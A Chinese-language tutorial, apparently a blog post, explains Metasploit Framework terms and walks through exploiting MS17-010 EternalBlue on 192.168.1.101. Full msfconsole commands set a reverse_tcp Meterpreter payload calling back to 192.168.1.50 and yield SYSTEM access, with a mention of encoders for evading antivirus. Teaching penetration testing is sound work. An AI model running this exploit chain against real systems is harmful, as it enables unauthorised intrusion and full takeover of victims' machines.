今天我們來談談滲透測試中的「正規軍」和「軍火庫」—— Metasploit Framework。
如果說 Nmap 負責繪製地圖,Burp Suite 負責精密的特種作戰,那麼 Metasploit 就是你用來發動正面總攻、利用已知漏洞進行打擊的標準化作戰平台。它是目前世界上最流行、最廣泛使用的滲透測試框架。
Metasploit Framework 是一個開源的滲透測試平台,它本身不是一個單一的工具,而是一個集成了各種漏洞利用 (Exploits)、攻擊載荷 (Payloads) 和輔助工具的框架 (Framework)。
它的核心價值在於將複雜的漏洞利用過程標準化、模組化和自動化。在沒有 Metasploit 之前,滲透測試人員需要為每個漏洞手動編寫或尋找不同的攻擊程式,過程繁瑣且容易出錯。Metasploit 將這些攻擊程式整理成一個龐大的、隨時可用的資料庫,讓測試人員可以專注於攻擊的策略,而不是工具的開發。
簡單來說,Metasploit 就像一個軍火庫,裡面裝滿了各式各樣的「飛彈」(攻擊程式),你只需要選定目標、選擇合適的飛彈,設定好參數,然後按下發射按鈕即可。
要理解 Metasploit,必須先掌握它的幾個核心術語。我用一個「槍與子彈」的比喻來解釋:
ms17-010_eternalblue
這個 Exploit 就是專門用來攻擊 Windows SMB 服務的「永恆之藍」漏洞的「槍」。Exploit 負責「打進去」,Payload 負責「打進去之後做什麼」。
Metasploit 的心臟是它的命令列介面 msfconsole
,你將在這裡與框架的各種模組互動。
這是框架中最龐大的部分,包含了針對各種平台(Windows, Linux, macOS)、各種軟體(作業系統、資料庫、Web 應用、CMS)的已知漏洞利用程式碼。
Payloads 決定了你成功入侵後能做什麼。主要分為幾種類型:
reverse_tcp
(反向 Shell):受駭主機主動連線回來攻擊者的電腦。這是最常用的方式,因為可以繞過防火牆對外部連入的限制。bind_tcp
(正向 Shell):攻擊者的電腦主動去連線受駭主機上由 Payload 開啟的埠口。這類模組不直接用於漏洞利用,而是執行掃描、偵察、Fuzzing、DoS 攻擊等輔助任務。例如,用來掃描某個特定漏洞是否存在的主機。
這類模組在成功取得 Meterpreter 或 Shell 之後使用,用於進一步的資訊收集、權限提升、橫向移動等後滲透階段的任務。
用來對 Exploit 和 Payload 進行編碼,改變其特徵碼,以嘗試繞過防毒軟體 (AV) 或入侵偵測系統 (IDS) 的偵測。
msfconsole
)假設我們已經透過 Nmap 發現一台主機 192.168.1.101
可能存在 MS17-010
(永恆之藍) 漏洞。
第一步:啟動 msfconsole
並搜尋漏洞模組
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 excellent Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
...
第二步:選擇要使用的 Exploit 和 Payload
# 使用永恆之藍的 Exploit 模組
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 設定攻擊成功後要使用的 Payload (反向連線的 Meterpreter)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
第三步:設定模組選項
# 查看需要設定哪些選項
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
...
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
...
Payload options (windows/x64/meterpreter/reverse_tcp):
...
LHOST yes The listen address (an interface may be specified)
...
# 設定目標主機的 IP (Remote Host)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.101
# 設定接收連線的本機 IP (Local Host)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
第四步:執行攻擊
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
...
[+] 192.168.1.101:445 - Success!
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.101:49157) at 2025-10-07 10:20:00 +0800
第五步:取得連線與後滲透
看到 Meterpreter session 1 opened
就代表你成功了!現在你可以與這個 session 互動。
meterpreter > sysinfo
Computer : VICTIM-PC
OS : Windows 7 Professional (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
你已經取得了目標主機的最高系統權限 (SYSTEM
)。
Metasploit 是滲透測試人員的標準化攻擊平台。它極大地降低了漏洞利用的技術門檻,讓安全專業人員可以快速、有效地驗證系統是否存在高風險漏洞,並向管理層展示這些漏洞可能造成的實際危害。掌握 Metasploit 是成為一名合格滲透測試工程師的必備技能。